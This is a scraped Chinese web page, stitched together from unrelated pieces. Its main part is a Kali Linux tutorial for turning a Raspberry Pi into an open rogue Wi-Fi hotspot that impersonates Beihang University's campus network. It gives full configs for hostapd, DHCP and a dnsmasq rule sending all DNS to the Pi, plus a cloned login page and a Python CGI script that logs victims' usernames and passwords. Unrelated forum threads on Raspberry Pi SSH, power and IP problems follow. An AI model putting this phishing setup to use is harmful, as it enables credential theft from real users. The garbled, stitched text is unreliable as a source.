求助,树莓派串口联网无法联网问题

0x1 关于树莓派
  The&Raspberry Pi&is a tiny and affordable computer that you can use to learn programming through fun, practical projects.
  树莓派是一个小型的而且很便宜的($35)电脑,在这个电脑上你可以通过有趣的实用的项目学习编程。
  树莓派2 Model B长这样:
  具体介绍戳官网:
0x2 关于系统
  树莓派官方出的系统是Raspbian,基于Debian并根据树莓派的硬件进行了优化:
  Raspbian is a free operating system based on Debian optimized for the Raspberry Pi hardware.&
  具体介绍戳官网:
  当然其他的操作系统,如Ubuntu、Fedora都有针对树莓派的版本。我选的系统是Kali Linux,选它的原因请参考标题。
  Kali官方有针对树莓派2的版本,具体安装教程戳官网:
0x3 关于无线网卡和Micro SD卡
  我选的无线网卡是&,芯片是rtl8188cus,免驱即插即用。
  选择无线网卡的时候请参考官网:
  我选的Micro SD卡是&
  选择Micro SD卡的时候请参考官网:
0x4 安装和配置相关软件
  假设已经按照教程安装好了系统,也插上无线网卡了,接下来就是安装必要的软件。
  连接树莓派的方式有通过显示器(需要HDMI转接头)、SSH登录、VNC连接等,因为Kali开机自动启动SSH Server,所以只要知道树莓派的IP地址,用SSH连过去就行了,Kali的默认用户名是root,登录密码是toor。
  代码前有#的表示在bash下以root身份运行的代码,没有的表示修改的文件内容。
0x40 修改更新源,在/etc/apt/sources.list中添加:
deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free
deb http://mirrors.aliyun.com/kali kali main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free
  然后进行更新,apt-get update && apt-get upgrade
0x41 根分区扩充
  下面链接中的文件可能有更新,请根据需要进入对应目录选择版本
# wget http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/raspi-config__all.deb
# wget http://http.us.debian.org/debian/pool/main/t/triggerhappy/triggerhappy_0.3.4-2_armhf.deb
# wget http://http.us.debian.org/debian/pool/main/l/lua5.1/lua5.1_5.1.5-7.1_armhf.deb
# dpkg -i triggerhappy_0.3.4-2_armhf.deb
# dpkg -i lua5.1_5.1.5-7.1_armhf.deb
# dpkg -i raspi-config__all.deb
  然后使用raspi-config命令进入系统设置,选择第一项Expand Filesystem扩充,当然系统设置中还有其他设置,根据需要进行设置即可。用df -lh检查文件系统大小,根分区是否为SD卡大小
0x42 安装和配置hostapd
  hostapd的作用是提供无线共享,即配置并成功运行hostapd后,能够搜索到热点
# apt-get install hostapd
&&&&由于无线网卡支持的问题,系统安装的hostapd不支持rtl8188cus芯片,需要将hostapd替换为兼容版本:
# wget http://www.daveconroy.com/wp3/wp-content/uploads/2013/07/hostapd.zip
# unzip hostapd.zip
# sudo mv /usr/sbin/hostapd /usr/sbin/hostapd.bak
# sudo mv hostapd /usr/sbin/hostapd.cat
# sudo ln -sf /usr/sbin/hostapd.cat /usr/sbin/hostapd
# sudo chmod 755 /usr/sbin/hostapd
  修改(没有的话新建)/etc/hostapd/hostapd.conf:
interface=wlan0
ctrl_interface=wlan0
ctrl_interface_group=0
ssid=BUAA-WIFI
# 伪热点名,例如我的是校园网的WIFI热点名
macaddr_acl=0
ignore_broadcast_ssid=0
driver=rtl871xdrv
wmm_enabled=1
  因为是用来钓鱼的伪热点,所以不设置热点密码
  修改/etc/default/hostapd,去掉DAEMON_CONF前的注释符号并修改为我们的配置文件路径:
DAEMON_CONF="/etc/hostapd/hostapd.conf"
  启动hostapd:
# service hostapd start
0x43 安装和配置isc-dhcp-server
&&&&isc-dhcp-server提供的是为接进热点的设备分配IP
# apt-get install isc-dhcp-server
  修改/etc/dhcp/dhcpd.conf:
ddns-update-
default-lease-time 600;
max-lease-time 7200;
log-facility local7;
subnet 192.168.126.112 netmask 255.255.255.240 {
# 创建一个子网
range 192.168.126.113 192.168.126.125;
# 分配的IP范围
option domain-name-servers 192.168.126.126;
# 使用本机的DNS服务器
option domain-name "rpi";
option routers 192.168.126.126;
# 网关为本机
option broadcast-address 192.168.126.127;
# 广播地址
  修改/etc/default/isc-dhcp-server:
DHCPD_CONF="/etc/dhcp/dhcpd.conf"
INTERFACES="wlan0"
  启动isc-dhcp-server:
# service isc-dhcp-server start
0x44 安装和配置dnsmasq
  dnsmasq提供的是为接进热点的设备进行流量引导,Kali中已经安装好dnsmasq了
  修改(没有的话新建)/etc/dnsmasq.conf:
interface=wlan0
bind-interfaces
address=/#/192.168.126.126
# 将对所有网站的访问重定向到本机
  启动dnsmasq:
0x45 添加iptables规则
  修改/etc/sysctl.conf:
net.ipv4.ip_forward=1
  修改/proc/sys/net/ipv4/ip_forward为1
  添加转发规则:
# sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
  然后用iptables -t nat -S和iptables -S检查是否添加成功
  为了让上面的规则在开始时自动添加,执行:
# sh -c "iptables-save & /etc/iptables.ipv4.nat"
0x46 设置wlan0的静态IP
  修改/etc/network/interfaces,添加:
auto wlan0
allow-hotplug wlan0
iface wlan0 inet static
address 192.168.126.126
# 与之前dhcpd.conf填写的网关地址相同
netmask 255.255.255.240
# 与之前dhcpd.conf填写的子网掩码相同
up iptables-restore & /etc/iptables.ipv4.nat
0x47 安装和配置apache2
  apache2提供的是为将重定向的流量引导到本机服务器运行的网页中,Kali中已经安装好apache2了
  修改/etc/apache2/sites-available/default,在合适的标签下添加:
&VirtualHost *:80&
ServerName gw.buaa.edu.cn
# 伪造服务器名
DirectoryIndex gw.buaa.edu.cn.html
# 将默认界面改为钓鱼网站页面
&Directory "/usr/lib/cgi-bin"&
AddHandler cgi-script .py
# 添加对.py的支持
  启动apache2:
# service apache2 start
&0x48 编写钓鱼网站
  我要钓鱼的是学校的校园网登录网站,所以copy校园网登录的界面,修改里面的表单提交action,提交到本机服务的后台,例如我的钓鱼网站/var/www/gw.buaa.edu.cn.html:
&script type="text/javascript"&
function login() {
var errorMsg = [];
var username = $("input[name='username']").val();
var password = $("input[name='password']").val();
if(username == '' || username == '用户名*') {
errorMsg.push('请输入用户名.');
$('#txtuser').focus();
if (password == '' || password == '密码*') {
errorMsg.push('请输入密码.');
$('#txtPwd').focus();
if (errorMsg != "") {
if (errorMsg.length & 0) {
$('#divloginError').html('').html($('&ul/&', {
html: '&li&' + errorMsg.join('&/li&&li&') + '&/li&'
})).show();
$('#dvloginErrorM').show();
$.mobile.silentScroll(125);
$('#dvloginErrorM').hide();
document.aspnetForm.submit();
&!--表单提交--&
&form name="aspnetForm" method="post" action="/cgi-bin/login.py"...&
&!--用户提交按钮--&
&a href="javascript:login()".../&
  编写后台处理程序,我用的是python的cgi,在/usr/lib/gci-bin下新建login.py:
#!/usr/bin/python
#-*- encoding: utf-8 -*-
import cgi, cgitb
form = cgi.FieldStorage()
username = form.getvalue('username')
# 获得用户名
password = form.getvalue('password')
# 获得密码
f = open('/cat/gw.buaa.edu.cn.log', 'a')
# 注意apache是否有所写文件夹的权限!!
f.write("%s: %s\r\n" % (username, password))
# 将用户名和密码写入文件
print "Content-type:text/html\r\n\r\n"
# 然后显示一个错误页面
print '&html&&head&'
print '&title&Error 126&/title&'
print '&/head&&body&'
print '&h1&Error establishing a database connection&/h1&'
print '&/body&&/html&'
  将login.py的权限设置为755,即有运行权限
0x49 将上述配置开机自启动
# update-rc.d hostapd enable
# update-rc.d isc-dhcp-server enable
# update-rc.d apache2 enable
  对于dnsmasq,需要手动编写开机启动脚本,在/etc/init.d/下新建文件dnsmasq:
#!/bin/bash
case "$1" in
killall -9 dnsmasq
killall -9 dnsmasq
  然后进入/etc/rc3.d/下,执行:
# ln -sf /etc/init.d/dnsmasq S06dnsmasq
  S06表示启动优先级,数字越大,优先级越低,比如服务A的运行要依赖服务B,那A的数字就应该大于B的
  最后,编辑/etc/rc.local,添加:
service dnsmasq start
0x5 测试运行
  首先连接上伪热点BUAA-WIFI,然后在浏览器输入一个网址,浏览器将自动跳转到校园网登录界面:
  当用户输入登录的用户名和密码,点击登录后,将跳转到错误页面,但是用户名和密码都已经被后台服务器记录到文件中。
阅读(...) 评论()查看: 2651|回复: 9
平民, 积分 17, 距离下一级还需 83 积分
精华0帖子威望0 点积分17 点注册时间最后登录
树莓派3接网线,无线网,都无法局域网网络中查找到lakka,请问该如何解决
该用户已被禁言
该用户已被禁言
精华0帖子威望0 点积分3524 点注册时间最后登录
同一个 路由 ????????
战士, 积分 1115, 距离下一级还需 385 积分
精华0帖子威望0 点积分1115 点注册时间最后登录
没有开启ssh,嘻嘻。在raspberry config里开启
平民, 积分 17, 距离下一级还需 83 积分
精华0帖子威望0 点积分17 点注册时间最后登录
ygm1335 发表于
没有开启ssh,嘻嘻。在raspberry config里开启
请问开启之后可以连无线局域网嘛?还是一定要有线
战士, 积分 1115, 距离下一级还需 385 积分
精华0帖子威望0 点积分1115 点注册时间最后登录
本帖最后由 ygm1335 于
19:06 编辑
宇宙无敌美少年 发表于
请问开启之后可以连无线局域网嘛?还是一定要有线
我从来就没插过网线。升级系统,拷贝游戏都用的无线网络
战士, 积分 1186, 距离下一级还需 314 积分
精华1帖子威望2 点积分1186 点注册时间最后登录
印象中RA里有个samba开关,希望你已经打开了。
树莓3明明有效率高也非常方便的官方复古派,你却跑去用用户体验糟糕的LAKKA,是喜欢那PSP的界面?
公民, 积分 292, 距离下一级还需 8 积分
精华0帖子威望0 点积分293 点注册时间最后登录
就是没开ssh,我刚开始也是。
锐意进取、精进创新
审判者, 积分 14254, 距离下一级还需 5746 积分
精华0帖子威望0 点积分14254 点注册时间最后登录
进来看看顺便关注一下LZ的问题。
平民, 积分 17, 距离下一级还需 83 积分
精华0帖子威望0 点积分17 点注册时间最后登录
aliang 发表于
印象中RA里有个samba开关,希望你已经打开了。
树莓3明明有效率高也非常方便的官方复古派,你却跑去用用户 ...
复古派还没用过,看论坛都用lakka所以跟风了
平民, 积分 17, 距离下一级还需 83 积分
精华0帖子威望0 点积分17 点注册时间最后登录
laozilaila 发表于
就是没开ssh,我刚开始也是。
是的,已经搞定
Powered by
扫描二维码
下载 A9VG 客户端(iOS, Android)[求助] 树莓派供电不足导致无法获得 IP? - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
已注册用户请 &
[求助] 树莓派供电不足导致无法获得 IP?
13:56:29 +08:00 · 1868 次点击
派接了两块块移动硬盘后供电不足( pi 的供电是 2.5A 的),拔掉一块硬盘就无法访问到 ip ( ssh 中断, ping 不通),有人遇见过这个问题吗?
第 1 条附言 &·&
10:33:23 +08:00
这个问题已经解决了,这是我的收获
首先挂载硬盘最好是2.5A电源或者硬盘另接电源
其次是把硬盘开机挂载写到/etc/fstab后,需要mount -a 测试下,万一写的有错,还没改的话,开机就会进入紧急模式,这时候只有接显示器或串口接键盘来调整了
5 回复 &| &直到
16:46:18 +08:00
& & 14:37:32 +08:00 via Android
是不是在运行时直接拔的,估计 pi 直接重启了
& & 14:43:24 +08:00 via Android
是在运行时拔的,但如果重启话应该很快的,而它具体表现是一直 IP 失效,直到我重开电源
& & 15:05:02 +08:00 via iPhone
@ 树莓派这拙计的供电还接俩移动硬盘……电源一共 12.5w 功率, 目测一个移动硬盘就得 6-8w 最低,难道还指望着树莓派自带发电能力?我一个移动硬盘有时候都带不起来…… 360 那个 4 口电源,树莓派 b+
& & 16:39:09 +08:00
我一块儿盘 还是用 hub 额外供电再连到 usb 的 , 如果你是想知道到底发生了什么的话 买根串口线连上去看看吧
& & 16:46:18 +08:00 via iPad
大 USB 接口带电会发生很多不可思议的事情,包括死机。
& · & 3288 人在线 & 最高记录 3762 & · &
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.1 · 15ms · UTC 02:19 · PVG 10:19 · LAX 19:19 · JFK 22:19? Do have faith in what you're doing.【求助】树莓派ssh死活连不上_树莓派吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:49,088贴子:
【求助】树莓派ssh死活连不上收藏
一直用显示器玩最近想用无显示器的发现一开PuTTY连接,输完账号和密码就提示Access denied借用了mac也提示Permission denied, please try again.树莓里的ssh开了的,是树莓b版用的是-raspbian-wheezy系统用的是电脑网卡发射的wifi求各位大大帮帮忙
你是要登哪个帐号?pi还是root?
你ping下树莓派看通不通
账号或者密码错误
pi密码是raspberry
我怀疑是密码错误..
用户名密码不对
我也是。。。
可能需要修改一下 ssh 还是 sshd 的配置文件,里面有个 restrict 鉴权关掉就可以了,具体可以搜索 ssh 配置
在这个路径下 pi
~/.ssh $ cat /etc/ssh/sshd_config |more
优质树莓派产品,尽在RS欧时电子.库存充足,及时发货.库存充足,及时发货.现在就来RS购买!
密码错了 上网查一下
x,我的现在也是,用wifi上去网了。。就是ssh连接不上。以前用网线是可以ssh的。。但是把网线拔掉,ssh就上不去了。。我怀疑是不是通过wifi,ssh登录需要设置什么?
可先在raspbi-config修改密码然后再SSH登录。我是这样解决的。
我也连接不上
我今天刷的官网最新系统,连不上,能查出来这个设备,也能ping通,但是就是ssh不上,显示网络错误无法连接,怀疑是系统问题,一个多月前刷过一次系统当时直接就可以ssh,后来一直没用,今天刷了最新系统就不行,关键在单位,没有hdmi设备连树莓派,根本查不清问题在哪,郁闷!!!
装个最新系统把
官方最新系统需手动开启sshserver raspi-config里面开 不然连不上 昨晚实测
新系统,要在SD 卡根目录新建一个ssh的空白文件,才能开启ssh
是的,2016年底之后的系统,要在SD 卡根目录新建一个ssh的空白文件,才能开启ssh。可以新建文本文件,然后改名为“ssh”,同时删除拓展名后缀。
新系統要開啟ssh才行的。
【什么是舍,什么是得】舍得笑,得到的是友谊;舍得宽容,得到的是大气;舍得诚实,得到的是朋友;舍得面子,得到的是实在;舍得酒色,得到的是健 康;舍得虚名,得到的是逍遥;舍得施舍,得到的是美名;舍得红尘,得到的是天尊。舍得小,就有可能得大;舍得近,
新系统需要在boot里面开ssh
具体可以百度官方文档。
同无法登陆ssh,在使用网线连接路由器的情况下可以连接ssh,并且在设置好ssh以及wifi后打开路由器管理界面可以看到树莓派的情况下无法连接ssh,ping树莓派全部能够接受但是无法访问目标主机,有大神解答下么?
是不是换成WiFi后IP地址变了?你要不先试试VNC能不能连上,也是在raspi-config里开启的,然后电脑上装个VNC viewer
用户名必须是pi 反正我的是这么解决的
登录百度帐号【求助】linux 下无法查找树莓派的ip_树莓派吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:49,088贴子:
【求助】linux 下无法查找树莓派的ip收藏
lz 用pc连接无线网,然后将网线和树莓派相连。 因为没有显示屏,所以想通过vnc登陆。但是lz 在扫描端口时无法查找树莓派的ip:-&ifconfig-&eth0
Link encap:Ethernet
HWaddr 5c:f9:dd:42:8f:cb
inet6 addr: fe80::5ef9:ddff:fe42:8fcb/64 Scope:Link
UP BROADCAST RUNNING MULTICAST
RX packets:11182 errors:0 dropped:0 overruns:0 frame:0
TX packets:12508 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:.4 MB)
TX bytes:.8 MB)进一步查看时出现: arp-scan -lioctl: Cannot assign requested addressWARNING: Could not obtain IP address for interface eth0. Using 0.0.0.0 forthe source address, which is probably not what you want.Either configure eth0 with an IP address, or manually specify the addresswith the --arpspa option.Interface: eth0, datalink type: EN10MB (Ethernet)ERROR: Could not obtain interface IP address and netmaskERROR: pcap_lookupnet: eth0: no IPv4 address assigned先谢谢大家了!!
登录百度帐号}

我要回帖

更多关于 树莓派无法联网 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信